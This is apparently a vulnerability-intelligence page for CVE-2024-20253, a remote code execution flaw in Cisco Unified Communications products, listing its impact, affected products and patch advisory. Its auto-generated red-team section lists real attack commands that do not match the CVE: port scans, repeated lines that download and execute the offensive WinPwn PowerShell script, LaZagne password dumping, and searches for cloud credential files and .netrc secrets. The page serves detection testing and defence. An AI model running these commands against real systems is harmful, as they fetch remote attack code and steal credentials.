CVE-2024-20253
Overview
This vulnerability is a remote code execution flaw caused by improper deserialization of user-supplied data within Cisco Unified Communications and Contact Center Solutions. The root cause lies in insecure processing of crafted messages sent to a listening service port, leading to unsafe memory operations. The affected components include Cisco Unified Communications Manager and related contact center services handling session management and messaging.
Vulnerability Description
A vulnerability in multiple Cisco Unified Communications and Contact Center Solutions products could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to the improper processing of user-provided data that is being read into memory. An attacker could exploit this vulnerability by sending a crafted message to a listening port of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the privileges of the web services user. With access to the underlying operating system, the attacker could also establish root access on the affected device.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the underlying operating system with web services user privileges, potentially escalating to root access. No prior authentication or user interaction is required, as the exploit leverages network access to a listening port (AV:N/AC:L/PR:N/UI:N). This enables full system compromise, data exfiltration, service disruption, and lateral movement within enterprise environments running affected Cisco Unified Communications and Contact Center products.
Solution
Cisco has released security updates addressing this vulnerability in affected Unified Communications Manager and Contact Center Enterprise versions. Administrators should apply the patches as outlined in Cisco Security Advisory cisco-sa-cucm-rce-bWNzQcUm. The advisory provides detailed instructions for upgrading to fixed releases and recommends disabling vulnerable services if immediate patching is not possible. Refer to the Cisco advisory for exact version numbers and remediation steps.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability exists within multiple Cisco Unified Communications and Contact Center Solutions products, stemming from improper handling of user-provided data during memory processing. This flaw allows an unauthenticated remote attacker to execute arbitrary code on affected devices. The vulnerability arises when crafted messages are sent to a listening port, which the device processes without adequate validation. As a result, the attacker can manipulate the system to run commands with the privileges of the web services user, potentially leading to full control over the underlying operating system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to send specially crafted messages to the affected service, which is typically exposed to the internet or internal networks. Once the crafted message is received, the improper processing can lead to arbitrary code execution. This scenario is particularly concerning for organizations that utilize these communication solutions, as the attacker could gain access to sensitive information, disrupt services, or deploy additional malicious software. The ability to execute commands with elevated privileges opens the door to further exploitation, including establishing root access, which could compromise the entire system.
The real-world impact of this vulnerability is significant, especially for organizations that rely on Cisco's Unified Communications and Contact Center Solutions for their operations. A successful exploit could lead to unauthorized access to confidential communications, customer data, and internal systems, resulting in severe business risks such as data breaches, loss of customer trust, and potential regulatory penalties. Furthermore, the operational disruption caused by such an attack could lead to financial losses and damage to the organization's reputation. The high CVSS score indicates the severity of the threat, emphasizing the urgency for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected products is crucial to close the security gap. Additionally, network segmentation can help limit exposure by restricting access to sensitive systems. Employing intrusion detection systems (IDS) can assist in identifying unusual traffic patterns that may indicate an attempted exploit. Organizations should also conduct regular security assessments and penetration testing to evaluate their defenses against potential attacks. Training staff on security best practices and incident response can further enhance resilience against exploitation attempts.
In conclusion, the vulnerability present in Cisco's Unified Communications and Contact Center Solutions poses a serious threat to organizations utilizing these products. The potential for remote code execution by unauthenticated attackers highlights the need for immediate action to secure affected systems. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare their defenses and mitigate the risks associated with this critical vulnerability.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-20253, with new sightings emerging after a period of dormancy. This uptick indicates that threat actors are actively probing or attempting to exploit the vulnerability in Cisco Unified Contact Center Enterprise environments. Although no new exploit techniques or proof-of-concept code have surfaced, the increase in reconnaissance and potential exploitation attempts elevates the operational risk. Defenders should interpret this trend as a signal that adversaries are prioritizing this vector, increasing the likelihood of successful compromise if systems remain unpatched. Despite the EPSS score remaining stable and low, the qualitative surge in telemetry underscores a heightened threat posture that warrants close monitoring and reinforces the criticality of timely remediation.
Update 2 — July 19, 2026
CSURFACE threat intelligence has identified a marked escalation in reconnaissance and exploitation attempts targeting the vulnerability in Cisco Unified Contact Center Enterprise. Our telemetry indicates a doubling in detection frequency over the recent period, signaling increased adversary interest and probing activity. While no new exploit techniques or proof-of-concept code have been observed, this surge in activity suggests threat actors are actively validating or preparing to weaponize this vector. The stable EPSS score does not fully capture this dynamic, as qualitative data from our sensors reveal a heightened operational tempo that elevates the risk of successful compromise. Consequently, the threat landscape for this vulnerability has shifted from latent to actively contested, underscoring an urgent need for defenders to maintain vigilance and prioritize monitoring efforts.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
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Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:*:*:*:*
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Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
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Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
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Cisco | Unified Communications Manager Im And Presence Service | All |
cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
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Cisco | Unified Communications Manager Im And Presence Service | All |
cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
|
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Cisco | Unity Connection | All |
cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
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Cisco | Unity Connection | All |
cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
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Cisco | Unified Contact Center Express | 12.5\(1\) |
cpe:2.3:a:cisco:unified_contact_center_express:12.5\(1\):-:*:*:*:*:*:*
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Cisco | Virtualized Voice Browser | 12.5\(1\) |
cpe:2.3:a:cisco:virtualized_voice_browser:12.5\(1\):*:*:*:*:*:*:*
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|
Cisco | Virtualized Voice Browser | 12.6\(1\) |
cpe:2.3:a:cisco:virtualized_voice_browser:12.6\(1\):*:*:*:*:*:*:*
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Cisco | Virtualized Voice Browser | 12.6\(2\) |
cpe:2.3:a:cisco:virtualized_voice_browser:12.6\(2\):*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
51%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20253 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-rce-bWNzQcUm |